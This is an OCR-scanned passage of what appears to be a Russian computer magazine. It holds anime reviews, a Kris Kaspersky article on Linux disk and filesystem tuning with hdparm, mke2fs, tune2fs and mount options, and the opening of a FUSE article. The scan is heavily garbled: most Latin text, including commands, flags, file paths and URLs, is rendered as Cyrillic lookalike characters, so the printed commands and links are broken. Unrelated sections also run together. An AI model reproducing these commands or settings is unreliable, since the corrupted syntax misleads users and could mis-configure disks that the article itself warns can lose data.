В ЭиаІ Маітіх бывшие напарники становятся мужем и женой и счастливо живут на Марсе вместе со 
своей дочерью Йоко. Однако семейная идиллия длится недолго. Эрмитаж узнает, что на одном из 
заводов Земли вспыхивает бунт роботов. И, так как причины этого касаются ее лично, она отправля- 
ется на Землю, чтобы узнать, кто стоит за мятежом. 

Во второй части Наоми преображается. Теперь она не просто воительница, но и мать. Некоторые 
поклонники РоІу МаТгІх возмущены тем, что авторы сделали из их любимого персонажа чуть ли не до- 
мохозяйку. Но, тем не менее, «домохозяйка» не утратила своих боевых навыков и, чтобы защитить 
свою дочь, готова на все. Количество асТІоп-сцен в ОиаІ МаТгіх возросло. В первой части основную 
роль уделяли характерам персонажей, эмоциям. Здесь на первом плане экшен. 

Фильм имеет традиционную анимешную графику и отличную прорисовку деталей. Музыка, отдаю- 
щая техно, тоже на высоте. Одним словом, тизі зее. 




[.Наск //Зідп] В 2005 году компьютерный вирус Ріиіо КІзз становится причиной полного исчезновение интер- 
нета. А через два года вместе с отреставрированным \ЛЛЛЛЛ/ люди получают новую увлекательную игруш- 
ку — ТОе ѴѴогІсІ. По сути, это обычный ММОРРѲ (онлайн-мир, в котором можно жить и развивать своего пер- 
сонажа), но безумно навороченный и реалистичный. В нем нет ограничений — ты можешь быть тем, кем 
хотел бы стать в реальной жизни. ТІте ѴѴогІсІ быстро вытеснил все остальные виды развлечений, включая те- 
левидение, — все компьютерное население окунулось в новый мир. 

События в фильме происходят внутри игры. Главный герой Цукаса, играющий роль колдуна, внезап- 
но осознает, что не может выйти из игрового мира. Оказавшись в виртуальном заточении, он начи- 
нает исследовать ТГіе ѴѴогІсІ и настолько втягивается, что этот мир становится для него единственно 
реальным. В процессе странствий Цукаса вступает в контакт с голосом маленькой девочки — она 
дает ему стражника, способного разделаться с любым игроком. Причем игроков, атакованных 
этим существом, выкидывает из виртуального мира, и в риаллайфе их находят в бессознательном 
состоянии. Понятное дело, создателям ТІте ѴѴогІсІ такая ситуация не по душе, и по следу Цукасы отп- 
равляются Алые Рыцари — группа людей, следящих за правилами в игре. Им, а также другим игро- 
кам, которых встречает Цукаса, предстоит разгадать две тайны: почему молодой колдун не может 
покинуть ТГіе ѴѴогІсІ и каким образом его телохранителю удается влиять на людей в реальном мире. 
Единственным ключом к разгадке может стать таинственный артефакт Кеу оГ ГГіе Т\л/ІІІдГіГ. 

■Наск //Зідп — очень неторопливое аниме. Здесь нет суеты и быстрых схваток, сюжет развивается 
медленно и даже немного затянуто. Герои сидят в виртуальном мире на травке и обсуткдают свои 
проблемы. Основной упор делается не на развитие сюжета, а на прорисовку характеров героев и 
их взаимоотношения. Говоря о фильме, все отмечают бесподобную музыку в духе кельтских моти- 
вов. Около 40 мелодий, каждая из которых хороша по-своему. Некоторые вещи очень похожи на 
Епуа, так что если ты ее поклонник — можешь начинать искать саундтреки к Наск. 

Этот аниме-сериал будет особенно близок тем, кто играет в онлайн-игры и не понаслышке знает о 
том, насколько это аддиктивная хрень. Параллельно виртуальным персонажам в «Хаке» дается 
брифинг, кто за ними стоит в реале. Так что если ты успел попробовать ІЛГІта, ОаоС, ЕѵегдиезГ, 
Е1пеаде2 или ѴѴоѴѴ — для тебя это однозначный тизГ зее. 

■Наск //Зідп — не единственный сериал по миру ТГіе ѴѴогІсІ. .Наск //ІпГегтесІІа, .Наск //ГитіпаГу, 
■Наск //ГедепсІ оГ Т\л/ІІІдГіГ ВгасеІеГ и .Наск //ѲІГГ рассказывают о новых приключениях в виртуальной 
вселенной, но уже с другими героями. 







[Меітороііз] Идея Метрополиса появилась почти сто лет назад. Еще в 1927 году режиссер Фриц Лан- 
га снял черно-белый фильм о городе, где люди и роботы живут бок о бок. В 1949 году по мотивам это- 
го фильма была выпущена манга известнейшего японского художника Тедзуки Осаму. И вот в 2001 
году на экраны вышло аниме, в котором Метрополис получил новое, трехмерное воплощение. 

В начале фильма зритель становится свидетелем бурного праздника по поводу завершения строитель- 
ства самого высокого в городе небоскреба Заггурат. К участникам веселья присоединяются Кенити и 
его дядя — частный детектив Бан Сунзаку, приехавшие в Метрополис с целью отыскать преступника но- 
мер один доістора Лоутена. Занимаясь проведением зловещих экспериментов с роботами и людьми, 
он представляет настоящую угрозу для мира. Но самым опасным его творением становится маленькая 
девочка Тима, которая даже не подозревает, что создана искусственным путем. На протяжении филь- 
ма Кенити и Тима успевают полюбить друг друга, но им приходится противостоять сыну самого могуще- 
ственного в городе человека герцога Реда, Будучи ярым роботоненавистником и убийцей, он, тем не 
менее, испытывает определенные чувства к Тиме и в своей ревности готов прикончить обоих. И вот, ког- 
да страсти ме>кду этой троицей накалятся до предела, всплывает истинное предназначение Тимы. 
Интересной особенностью мувика является то, что авторы практически один в один воссоздали ге- 
роев старой манги с внешностью, характерной для аниме того времени. Они напоминают героев 
диснеевских мультфильмов. В то же время главная героиня Тима выглядит совершенно иначе, выде- 
ляясь на общем фоне. Отдельного внимания заслуживают трехмерные бэкграунды, созданные на 
компьютере с впечатляющей детализацией. Что касается музыкального оформления — оно немно- 
го странное для фильмов такого жанра. Вместо стандартного техно или амбиента — джазовые хиты 
60-х. Непривычно, но вполне вписывается в атмосферу. 

Режиссер Осаму Тезука признался, что на создание этого аниме его вдохновил постер того само- 
го «Метрополиса» 1927 года. Хотя сам фильм он никогда не видел. 




[ЗегіаІ ЕхрегітепТз Еаіп] Про этот мульт говорят так: 
«С первого раза его могут понять либо гении, либо 
сумасшедшие». Слава Богу, я не отношусь ни к пер- 
вым, ни ко вторым, так как многое в «Лейне» я не по- 
нял. В начале был уверен, что все предельно ясно, 
потом оказалось, что все совсем не так, а в итоге 
все мои предположения оказались липой. 
Начинается этот 13-серийный мультфильм со сцены 
самоубийства. 14-летняя девочка прыгает с крыши 
дома, и ниіао не понимает зачем. Через некоторое 
время одноклассники получают от нее электронные 
письма с различным содержанием. Одно из таких 
писем адресовано главной героине — ученице 
восьмого класса Лейн. Бывшая подруга сообщает 
ей, что на самом деле она не умерла, а перенес- 
лась в компьютерный мир под названием ѴѴІгесІ. 
Лейн, которая раньше держалась подальше от 
компьютеров, постепенно начинает испытывать к 
ним все больший интерес. И чем больше она откры- 
вает для себя мир ѴѴІгесІ, тем более странные вещи 
начинают твориться вокруг. Одноклассницы говорят, 
что видели ее в клубе, где она никогда не была, и что 
вела она себя по меньшей мере странно. Лейн по- 
сещают непонятные образы. Чем дальше, тем сюжет 
становится запутаннее. Ты ожидаешь развязки в кон- 
це, но концовка не дает ответов на все вопросы, а 
наоборот, добавляет новые. 

«Лейн» — вещь, тяжелая для восприятия. Многие 
после просмотра сериала по-другому стали восп- 
ринимать Сеть. Прорисовка деталей в мульте на вы- 
соком уровне. «Лейн» даже завоевал несколько 
премий за достижения в японской анимации. А са- 
ундтрек из опенинга (вступительная часть к каждой 
серии) надолго осел в моем плеере. 

Те, кто любит экшен и простой сюжет, наверняка не 
поймут творение режиссера Рютаро Накамуры. Я 
часто встречал на форумах отзывы в духе «бред» 
или «наркоманская чушь» именно от таких людей. 
Но если ты предпочитаешь интеллектуальные филь- 
мы, где смысл закопан глубоко под поверхностью, 
если любишь поломать голову над запутанными го- 
ловоломками сценаристов, «Лейн» станет для тебя 
настоящим откровением. 



й 
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ЮНИТЫ КРЕАТИФФ КОДИНГ ЦЫІХОІО СЦЕНА ВЗЛОМ ИМПЛАНТ РС_20МЕ РЕППУМ НЬЮСЫ 





Жесткие диски 
на крутых виражах 

имих, в ОТЛИЧИЕ от ѵѵімооѵѵз, поддер- 
живает ЦЕЛЫЙ СПЕКТР ФАЙЛОВЫХ СИ- 
СТЕМ РАЗНОГО КАЛИБРА И НАЗНАЧЕНИЯ: 
МІМІХ, ЕХТ2Р5, ЕХТЗР8, НЕІЗЕРР8, ХРЗ, ЗРЗ, 
ЦРЗ. КАКУЮ ФАЙЛОВУЮ СИСТЕМУ ВЫ- 
БРАТЬ? КАК ПРАВИЛЬНО ЕЕ НАСТРОИТЬ? 
СТАНДАРТНЫЙ ВЫБОР, ПРЕДЛАГАЕМЫЙ СО- 
СТАВИТЕЛЯМИ ДИСТРИБУТИВА ПО УМОЛЧА- 
НИЮ, НЕ ВСЕГДА ОПТИМАЛЕН, И БЫСТРО- 
ДЕЙСТВИЕ СИСТЕМЫ МОЖНО ЗНАЧИТЕЛЬНО 
УЛУЧШИТЬ, ЕСЛИ ЗАЛЕЗТЬ ВНУТРЬ И СЛЕГ- 
КА ЕЕ ПОДКРУТИТЬ I Крис Касперски ака мыщъх 

Настройка файловой си- 
стемы на максимальную 
производительность 

[введение, или железный дровосек на 
пеньке] Жесткий диск — хитрый зверь. Ти- 
хий, кок мыщъх, быстрый, как леопард, на- 
дежный, как сенбернар. Но процессор 
еще быстрее! И дисковая подсистема, 
несмотря на все усилия инженеров, по- 
прежнему остается слабейшим звеном, 
сдерживающим быстродействие всего 



Помни, что Мратт работа- 
ет только с ЮЕ-дисками, 
а тке2(5 — это деструк- 
тивная команда, разруша- 
ющая всю (райловую сис- 
тему целиком! 



компьютера в целом. А ведь 
объемы обрабатываемых дан- 
ных все растут и растут,. , 

Болъшинство материнских плат, 
выпущенных после 2000 года, не- 
сут но своем борту интегриро- 
ванный 1?АЮ-контроллер, под- 
держивающий режимы РАЮ-0 (зТгіре гтюсіе — режим чередования, 
при котором даннъіе пишутся на несколько жестких дисков сразу) и 
РАЮ-1 (тіггог тосіе — зеркальный режим, при котором жесткие ди- 
ски дублируют друг друга). Режим чередования значительно увели- 
чивает производительность: два диска работают приблизительно в 
1,5 раза быстрее, а четыре — в -3,5 раза быстрее, чем один. 
Обладатели ядро версии 2.4 или более старшей могут использо- 
вать программный РАЮ-массив (зо11\л/аге РАЮ), практически не 
уступающий по скорости аппаратному, но слегка напрягающий 
процессор. Более древние ядра, скорее всего, потребуют уста- 
новки дополнительного программного обеспечения. Подробнее 
об этом можно прочитать тут; ѵтѵѵѵ.іІсІр.огд/НОѴѴТО/ЗоЕітагѳ-І^А- 
Ю-НОѴѴТО.МтІ. 

Большинство руководств настоятельно рекомендуют подключать 
программный РАІЛ к различным ІОЕ-каналам, то есть разводить 
диски по своим шлейфам. Проблема в том, что типичная материн- 
ская плата имеет всего два ЮЕ-конала, а ведь помимо жестких 
дисков требуется как минимум один оптический привод! Для до- 
стижения наивысшей скорости приходится приобретать мать с 
несколькими ЮЕ-каналами, что поделаешь — оптимизация требу- 
ет жертв! В частности, у ЕРОХ 4РСАЗ+ этих каналов целых шесть, 
но не всем она по карману, В действительности же совмещать два 
жестких диска на одном шлейфе можно, это совсем-совсем не 
страшно. Они могут работать и параллельно, то есть почти парал- 



лельно, так как на -15% скорость все-таки 
упадет. Современные накопители осво- 
бождают шину на время выполнения мед- 
ленных операций, но шина все-таки одна, 
а накопителя два, вот им и приходится за 
нее сражаться. Зато оптический привод с 
жестким диском на одном шлейфе лучше 
не совмещать: в некоторых случаях ско- 
рость упадет в разы. Попробуй отключить у 
оптического привода режим ОМА — воз- 
можно, это поможет винчестеру зарабо- 
тать быстрее. 

Дисковый массив, состоящий из 12 винтов, 
подключенных к ЕРОХ ДРСАЗ-н, работает со 
сверхзвуковой скоростью, но и шумит, как 
самолет (не говоря уже о том, что приходит- 
ся покупать мощный блок питания на 350 Ватт 
и ставить специальные фильтры на разветви- 
тель, чтобы подавлять помехи, к которым же- 
сткие диски весьма чувствительны). Выигрыш 
в скорости стоит того, особенно если ком- 
пьютер используется для видеомонтажа или 
обработки изображений полиграфического 
качества. Но с такими потребностями лучше 
сразу обратиться к ЗСЗІ-дискам. Мы же 
остановимся на ЮЕ как на самом демокра- 
тичном и дешевом интерфейсе. 

[Ьсірагт — крутим, вертим, сверлим, клеим] 

Для достижения наивысшей производи- 
тельности каждый жесткий диск, устано- 
вленный в системе, должен быть настро- 
ен в соответствии со своим предназначе- 
нием. Стандартные настройки, прини- 
маемые ядром по умолчанию, ориенти- 
рованы на абстрактного среднестатисти- 
чеокого пользователя и редко совпадают 
с конкретными требованиями. Учет прео- 
бладающего типа запросов к диоковой 
подсистеме значительно повышает бы- 
стродействие (в некоторых случаях чуть 
ли не на порядок), хотя это оружие рабо- 
тает и в обратном направлении. Бестол- 
ковая настройка сваливает производи- 
тельность в глубокую яму, из которой, 
впрочем, всегда можно выбраться, при- 
менив настройки по умолчанию. 




[четыре диска — четыре канала] 



Всем этим ведает консольная утилита 
Ітсірагт, которая входит в комплект штатной 
поставки большинства (если не всех) Еіпих'ов 
и работает из-под гооі'а. В случае чего взять 
ее можно здесь: те^аІаЬ.ипс.ес1и/риЬ/и- 
пих/зуз^ет/І^агсІѵ/аге/Мрагт-З.бЛаг.дг. Фор- 
мат вызова следующий: 

# Бсірагт опцияі опция2 ... опциям 
/<1еѵ/жесткий_диск 

Строго говоря, Іпсірагт настраивает пара- 
метры не одного лишь жесткого диска, но 
таіоке его контроллера и отчасти драйве- 
ра. Здесь не будем углубляться в термино- 
логические тонкости и сразу перейдем к 
конкретным параметрам. 

Ключ -а устанавливает количество секто- 
ров опережающего чтения, которые будут 
автоматически прочитаны контроллером в 
надежде, что они вое-таки пригодятся 
пользователю. По умолчанию ядро читает 8 
секторов (4 Кб). При последовательном 
чтении больших слабофрагментированных 
файлов это значение рекомендуется уве- 
личить в несколько раз, а при хаотичном 
доотупе, работе о мелкими или оильно- 
фрагментированными файлами — умень- 
шить до 1-2 секторов. 

Ключ -Р задействует механизм аппаратной 
предвыборки, сообщая приводу, сколько 
секторов ему необходимо прочитать. Гру- 
бо говоря, это то же самое, что и -а, только 
намного круче. Однако не все приводы 
поддерживают аппаратную предвыборку. 
Ключ -т специфицирует количество секто- 
ров, обрабатываемых приводом за одну 
операцию обмена (так называемый гпиііі- 
ріе зесіог 1/0, или Ыоск тосіе). В зависимо- 
сти от конструктивных особенностей же- 
сткого диска он может обрабатывать от 2 
до 64 (и больше) секторов за раз. Конкрет- 
ное значение можно узнать о помощью 
ключа -і (оно находится в графе МахМиІІ- 
Зесі). В общем случае скорость обработки 
данных прямо пропорциональна количе- 
ству секторов, однако некоторые приводы 
(например, ѴѴО Саѵіагз) при больших зна- 
чениях -т начинают жутко тормозить. Вни- 
мание: запредельные значения -т могут 
привести к повреждению данных, поэтому 
не рискуй без необходимости! 

Выяснить практическое положение дел по- 
могает ключ -1, измеряющий пропускную 
способность дисковой подсиотемы в ре- 
жиме чтения. 

Ключ -М отвечает за наотройку шумовых ха- 
рактеристик накопителя (Аиіотаііс Асои- 
ЗІІС Мападетепі, или сокращенно ААМ). 

Значение 128 соответствует наи- 
более тихому режиму, 254 — на- 
иболее быстрому. Промежуточ- 
ные значения в общем случае 
не определены (некоторые на- 
копители их поддерживают, не- 
которые нет). Следует сказать, 
что значение 128 не только уме- 
ньшает шум, но и способствует 
меньшему износу накопителя, 
однако падение производитель- 
ности может быть очень и очень 
значительным, поэтому трудно 
посоветовать, какое именно 
значение выбрать. 

Ключ -с управляет режимом пе- 
редачи данных. Параметр О — 
16-битная передача, 1 — 32-бит- 
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ноя передача, 3 — 32-битная передача со специальным синхра- 
сигналом. По умолчанию ядро использует параметр 3 (возможно, 
не для всех ядер) как наиболее надежный, но и менее производи- 
тельный, чем 1, Большинство современных чипсетов вполне нор- 
мально работают с параметром 1, так что излишняя осторож- 
ность тут ни к чему. 

Ключ -сП активирует, а -сІО дезактивирует режим ОМА, значи- 
тельно увеличивающий производительность и радикально 
снижающий нагрузку на процессор. Однако так бывает дале- 
ко не всегда. ГОЕ-устройства, висящие на одной шине, могут 
конфликтовать между собой, и тогда хотя бы одно из них дол- 
жно быть принудительно переведено в режим РІО. Выяснить, 
как обстоят дела в данном конкретном случае, помогает ключ 
-Т, измеряющий скорость передачи данных. Ключ -сП обычно 
используется совместно с ключом -Хппп, форсирующим кон- 
кретный режим РІО или ОМА. Режиму РІОп соответствует зна- 
чение (п+8), то есть -Х9 задает РІ01, а -Х12 — РІ04. Режиму 
ОМАп соответствует значение (п-т32), например -Х34 для 
ОМА2, а 1Л1та ОМА — (п-т64), например -Х69 для ЕЮМА5, кото- 
рый обеспечивает наивысшую производительность, однако 
поддерживается не всеми жесткими дисками и чипсетами. Уз- 
нать список поддерживаемых режимов можно с помощью 
ключа -I. По умолчанию ядро выбирает не слишком агрессив- 
ные режимы передачи данных, оставляя солидный запас про- 
изводительности за спиной. Однако переход на высшие ІІО- 
МА-режимы чреват разрушением всего дискового тома, поэ- 
тому обязательно зарезервируй его содержимое перед на- 
чалом экспериментов! 

Для сохранения установок необходимо дать команду Мрагт -к 1 
/сІеѵ/Мх, в противном случае они будут утеряны при первом же 
сбросе ЮЕ-контроллера или перезапуске машины. 

[выбор файловой системы] Существует два типа файловых си- 
стем — обычные и журналируемые (]оигпа11пд). К первым относят- 
ся тіпіх, ех1'2(з и ЕІЕЗ, а к последним — ех+З^з, РеІзегЕЗ, ХРЗ, ЗЕЗ. Жур- 
налируемые файловые системы намного легче переносят зависа- 
ние системы и отключение питания во время интенсивных дисковых 
операций, автоматически возвращая файловую систему в ста- 



[покажи мне свой хвост, и я скажу, кто ты] 

По умолчанию РеізегРЗ сохраняет короткие файлы и 
файловые хвосты на листьях двоичных деревьев. В 
большинстве случаев это многократно увеличивает 
производительность, особенно если свободное ди- 
сковое пространство далеко от исчерпания. Тем не 
менее, при работе с некоторыми приложениями хво- 
сты лучше отключить. При работе с огромным коли- 
чеством мелких файлов, которые постепенно растут, 
системе приходится перестраивать большое количе- 
ство структур данных, гоняя растущие хвосты между 
блоками и деревьями, в результате чего производи- 
тельность держится на уровне плинтуса. Команда 
тоипі -о поіаіі отключает упаковку хвостов и корот- 
ких файлов, а повторное монтирование с настройка- 
ми по умолчанию включает ее обратно, однако сле- 
дует помнить, что уже упакованные/распакованные 
хвосты останутся на месте вплоть до модификации 
своего файла. 



[обновлять или не обновлять?] 

Некоторые приложения, в частности уже упомянутый 
ЗциісІ, требуют особой настройки файловой системы. 
Для увеличения быстродействия рекомендуется от- 
ключить операцию обновления времени последнего 
доступа к файлу (тоипі -о поаііте). Наибольший при- 
рост производительности наблюдается на УРЗ, кото- 
рая, в отличие от подавляющего большинства осталь- 
ных файловых систем, не откладывает обновление 
іпосіе в долгий ящик (Іагу ѵѵгііе), а делает это сразу же 
после его изменения (ѵѵгііе ІІігоидІі). На ехІЗІз в силу ее 
журналирующей природы обновление аііппе вносит 
столь незначительный вклад в общее быстродействие, 
что никакой разницы просто нет. 



бильное состояние, однако от 
других типов разрушений (отказ 
контроллера, дефекты поверх- 
ности, вирусное нашествие) 
они никак не спасают, а вот 
производительность роняют из- 
рядно. 

Для домашних компьютеров и 
большинства рабочих станций 
журналирование совершенно 
не нужно, и надежности файло- 
вой системы ех121з вполне до- 
статочно, особенно если ком- 
пьютер оборудован ЕІРЗ'ом. В 
ответственных случаях исполь- 
зуй ехІЗІз или РеІзегЕЗ. По те- 
стам (типа сферического коня 
в вакууме) РеізегЕЗ в среднем вдвое, а на операциях записи в 35 
раз быстрее, чем ехІЗІз, что особенно хорошо заметно на мел- 
ких файлах. В реальной жизни часто все бывает наоборот. Вы- 
сокая латентность РеІзегЕЗ (то есть промежуток между подачей 
запроса и получением ответа) вкупе с агрессивной загрузкой 
процессора заметно отстает от ехІЗІз, что, опять же, особенно 
хорошо заметно на мелких файлах (да-да, на тех самых, на ко- 
торых нам обещали выигрыші). Подробнее об этом можно про- 
читать здесь: кегпеІІгар.огд/посІѳ/ѵіеѵѵ/3466. 

Журналирование можно значительно ускорить, если разместить 
журнал на отдельном носителе. Такой журнал называется внеш- 
ним (ехіегпаі). Подключить его можно командой 1ипе21в -^ сіеѵі- 
сѳ=ѳхІѳгпаІ ^ои^паI (где ехіегпаиоигпаі — имя раздела соответ- 
ствующего устройства), причем внешний журнал должен быть 
предварительно создан командой тке21з -О ]оигпаІ_сІеѵ ехіег- 
паі цоигпаі. Команда 1ипе21з -^ зііе=іоигпа\_зіге управляет разме- 
ром журнала. Чем меньше размер журнала, тем ниже производи- 
тельность. Предельно допустимый размер составляет 102 400 
блоков, или -25 Мб (точное значение зависит от размера блока, о 
котором мы еще поговорим). 

По умолчанию ехІЗІз журналирует только метаданные (то есть слу- 
жебные данные файла, такие, например, как іпосіе), записывая их 
на диск только после того, как будет обновлен журнал. Для увели- 
чения быстродействия можно задействовать разупорядоченный 
режим, в котором метаданные записываются одновременно с об- 
новлением журнала, что соответствует команде тоипі /Оеѵ/Мх 
/сіаіа -о сІаІа=тіІеЬаск. Естественно, надежность файловой си- 
стемы при этом снижается. При желании можно журналировать 
все данные (команда тоипі /сІеѵ/Мх /сіаіа -о сІаІа=]оигпа[), по- 
сле чего никакие зависания или отказы питания нам будут не 
страшны, правда, о производительности придется забыть. 

При создании новой файловой системы важно выбрать пра- 
вильный размер блока (в терминологии МЗ-0ОЗ/ѴѴІпсІо\л/з — 
кластера). На ех121з, ехІЗІз это осуществляется командой 
тке21з -Ь Ыоск-зігѳ, на ХЕЗ — ткіз.хіз -Ь зігѳ=Ыоск-зІ 2 е и пеѵѵіз - 




[чипсеты от ѴІА всегда славились кривой поддержкой высших ЦІІгаОМА 
режимов] 
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[файловая система НеізегР8 собствен- 
ной персоной] 
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[Осірагт в интерактивной оболочке] 



Ь Ыоск-зіге на УРЗ. Чем больше блок, тем ниже фраг- 
ментация, но и выше дисковые потери за счет грану- 
ляции дискового пространства. Некоторые файловые 
системы (например УРЗ) поддерживают фрагменты 
(Ргадтепіз) — порции данных внутри блоков, позво- 
ляющие задействовать свободное пространство в 
хвостах блоков, благодаря чему использование бло- 
ков большого размера уже не приводит ни к каким 
потерям. Файловая система РеізегРЗ, в отличие от 
остальных, не нарезает диск на ломтики фиксирован- 
ного размера, а динамически выделяет требуемый 
блок данных, забивая диск файлами под завязку. В 
среднем это на 6% увеличивает доступный объем, 
однако приводит к чрезмерной фрагментации, съе- 
дающей всю производительностъ. Рекомендуется 
использовать максимально доступный размер блока 
(4 Кб для ехР2Рз и ехІЗГз, 16 Кб для УРЗ и 64 Кб для ХРЗ, 
файловые системы РеізегРЗ и ЗРЗ не поддерживают 
этой опции) и задействовать максимальное количе- 
ство фрагментов на блок (в ОРЗ — 8). 

Другая важная опция определяет режим хэширова- 
ния директорий. Для ускорения работы с директо- 
риями, содержащими большое количество файлов и 
подкаталогов, директория должна быть организова- 
на в виде двоичного дерева. В ех1'21з и ехІЗІз это осуществляет- 
ся командой тке2{$ -О сІіг_іпсІех, а в РеізегРЗ — ткгеізег^з -/т /тоз/т, 
где Ріазіі — один из следующих типов хэш-таблицы: г5, гиразоѵ 
или Іеа. По умолчанию выбирается г5, который наилучшим об- 
разом подходит для большинства файловых операций, тем не 
менее, некоторые приложения, например Здиісі, настоятельно 
рекомендуют использовать гиразоѵ-хэш, в противном случае за 
быстродействие никто не ручается. С другой стороны, г5 и ги- 
разоѵ очень медленно работают с директориями, содержащи- 
ми несколько миллионов файлов, и здесь лучше подходит Іеа, а 
на директориях из нескольких десятков файлов все три алго- 
ритма хэширования проигрывают стандартному нехэшируемо- 
му ріаіп-алгоритму. К сожалению, опция хэширования носит 
глобальный характер — нельзя одни директории хэшировать, а 
другие нет. 

Файловая система ХРЗ — единственная из всех, кто позволяет за- 
давать размер іпосіе вручную. Обычно в іпосіе хранятся служеб- 
ные данные файла (атрибуты, порядок размещения блоков на 
диске), но если файл целиком умещается в іпосіе, система сох- 
раняет его именно там! Дополнительное дисковое простран- 
ство уже не выделяется, что избавляет головку винчестера от 
лишних перемещений, в результате чего время доступа к файлу 
существенно сокращается. Точно так же поступают І2еізегРЗ, 
МТРЗ и некоторые другие файловые системы, однако, к сожале- 
нию, размер іпосіе они менять не в состоянии! Если мы плани- 
руем работать с большим количеством мелких файлов, размер 
іпосіе желательно увеличить, что положительно скажется как на 
производительности, так и на доступном дисковом простран- 



стве. При работе с большими 
файлами размер іпосіе лучше, 
наоборот, сократить, в против- 
ном случае потери дискового 
пространства будут довольно 
значительными. Выбор пред- 
почтительного размера іпосіе 
осуществляется командой 
тШз.хН -I віге=ѵаІие . Минималь- 
ный размер составляет 512 
байт, максимальный — 2048. 

[заключение] ѴѴІпсіоѵѵз предо- 
ставляет минимум рычагов 
управления для настройки ди- 
сковой подсистемы, и угробить 
свои данные под ее управлени- 
ем довольно затруднительно. Еі- 
пих же позволяет крутить все и вся! Как следствие, малейшая 
оплошность приводит к катастрофическим разрушениям. И винить 
в этом некого — нечего было браться за штурвал, не выучив ману- 
ал, как правило, написанный на английском языке. Но даже ману- 
ал не поможет определить, какие именно режимы поддержива- 
ются нашим оборудованием, а какие нет (может, у нас кабель пе- 
рекручен или разъем барахлит, а на высокосортных режимах это 
сразу же скажется!). Настройка дисковой подсистемы на макси- 
мальную производительность — это огромный риск! Никогда не 
экспериментируй, не зарезервировав всех данных! 0 




[массив из четырех дисков — проб- 
лемы монтажа] 
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ФРАГМЕНТАЦИЯ 



в процессе работы с диском его фрагментация 
неизбежно увеличивается. Больше всего от 
этого страдают ех121з/ех131з и РеізегРЗ. На ЕІРЗ 
и ХРЗ за счет поддержки блоков большого раз- 
мера падение производительности уже не так 
заметно. Утверждение, что файловые системы 
□пих якобы не подвержены фрагментации, — 




[вот что значит фрагментация!] 



нелепый миф, который может быть легко опро- 
вергнут любым опытным пользователем. 

При последовательной записи на диск нескольких 
файлов система размещает их один за другим, 
так что первый файл упирается во второй. Сво- 
бодного места для карьерного роста уже нет (ко- 
роткий хвост в конце блока не считается), и систе- 
ма вынуждена выделять блоки где-то за концом 
следующего файла. Если же их там нет, свобод- 
ные блоки ищутся в начале диска, в результате че- 
го файл как бы размазывается по поверхности. 
Или вот другой случай. Мы записали пять файлов 
по 100 блоков каждый и затем удалили первый, 
третий и пятый файлы, освободив 300 блоков в 
трех фрагментах. При записи 300-блочного фай- 
ла система сначала попытается отыскать непре- 
рывный регион свободного пространства, но если 
его не окажется, она будет вынуждена рассредо- 
тачивать файл по поверхности. Чтобы исправить 
ситуацию, необходимо собрать все свободные 



блоки, объединив их в один непрерывный фраг- 
мент, то есть дефрагментировать раздел. 

Из бесплатных дефрагментаторов лучшим, на 
мой взгляд, является стандартный беігад, вхо- 
дящий в штатный комплект поставки большин- 
ства Еіпих'ов. Если же в твоем дистрибутиве 
его нет, исходные тексты дефрагментатора 
можно утянуть отсюда: Пр://теіаІаЬ.ипс.еди/риЬ/ 
ипих/вувіет/ііІезувіетз/беігад-О.УО.Іаг.дг. 
Фирма 00-Зо11\л/аге, известная своим однои- 
менным дефрагментатором для МТ, выпустила 
замечательный консольный дефрагментатор 
для Еіпих, в настоящее время находящийся в 
стадии бета-тестирования и распространяю- 
щийся на бесплатной основе. Скачать его мож- 
но отсюда: ттт.оо-зоПтаге.сот/сді-Ып/сІотп- 
ІоасІ/сІотпІоасІ-е.рІ?ргосІисІ=ОООІХВІМ. 
Регулярная дефрагментация — это хороший 
способ противостоять растущему падению про- 
изводительности файловой системы. 
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Смонтируем все! 

одним из САМЫХ ЗАМЕТНЫХ ОТЛИЧИЙ 
НИКСОВ от ДРУГИХ ОПЕРАЦИОННЫХ СИС- 
ТЕМ ЯВЛЯЕТСЯ ОРИГИНАЛЬНАЯ ДРЕВОВИД- 
НАЯ ФАЙЛОВАЯ СИСТЕМА. МЕХАНИЗМ МОН- 
ТИРОВАНИЯ, А ТАКЖЕ ВОЗМОЖНОСТЬ 
ПРЕДСТАВЛЯТЬ ОТДЕЛЬНЫЕ КОМПОНЕНТЫ 
ОС И ЖЕЛЕЗА В ВИДЕ ФАЙЛОВ СДЕЛАЛИ ТА- 
КУЮ ОРГАНИЗАЦИЮ ФС ЭТАЛОННОЙ. И ВОТ, 
СПУСТЯ УЖЕ 30 ЛЕТ, ТРУДНО СЕБЕ ПРЕДС- 
ТАВИТЬ *Н1Х БЕЗ КАТАЛОГОВ /ОЕѴ И /РРОС. 
НО ЧТО НАМ МЕШАЕТ ПОЙТИ ДАЛЬШЕ? СЕ- 
ГОДНЯ Я РАССКАЖУ ТЕБЕ, КАК, ИСПОЛЬЗУЯ 
ВИРТУАЛЬНЫЕ ФАЙЛОВЫЕ СИСТЕМЫ, ПРИ- 
МОНТИРОВАТЬ РТР-АРХИВ, СѴ8-РЕПОЗИТО- 
РИЙ, ДИСК С ЗАШИФРОВАННЫМИ ДАННЫМИ 
И ДАЖЕ ФАЙЛОВОЕ ХРАНИЛИЩЕ СОТОВОГО 
ТЕЛЕФОНА I ІІГП (і1т@Ііз+.ги) 

Знакомство 
с виртуальными 
файловыми системами 

[зачем извращаться?] Один за другим воз- 
никают резонные вопросы: «Почему бы не 
использовать отандартные методы работы 
с данными — к примеру, И'р- и ззіп-клиенты?», 
«Зачем нужно искать дополнительный софт 



для подключения файлов и представления их в виде файловой сис- 
темы?». Все просто — с файлами мы умеем работать с первых дней 
общения с компьютерами, поэтому гораздо удобнее оперировать 
данными, представленными в виде привычного дерева ФС, чем вни- 
кать в километровые маны по Н^р, ззіп, сѵз и другим программам. 
Например, вместо того чтобы использовать Н'р-клиент, проще при- 
монтировать П'р-ресурс к определенному каталогу и лазить по не- 
му, как по своему диску. Все твои знания по эффективной работе с 
файлами пригодятся и в этом случае. Ведь не просто так создатели 
иМІХ Деннис Ритчи и Кен Томпсон в своей относительно новой ОС 
Р1ап9 развили идею виртуальных ФС до предела. 

[Тизе: расплавленная ФС] Что такое Тизе и почему я начал статью 
с его описания? РУЗЕ (РІІезузТет іп ІІзегзрасе) — это модуль ядра 
Еіпих, позволяющий любой программе создавать свою виртуаль- 
ную файловую систему. Изначально Тизе был частью уже прекра- 
тившего свое существование проекта аѵТз, но в настоящее время 
пакет распространяется отдельно. Нам этот модуль нужен по той 
простой причине, что половина рассматриваемого в статье соф- 
та пользуется его услугами. 

Заходи на сайт Тизе.зТ.пеТ и качай последнюю версию модуля 
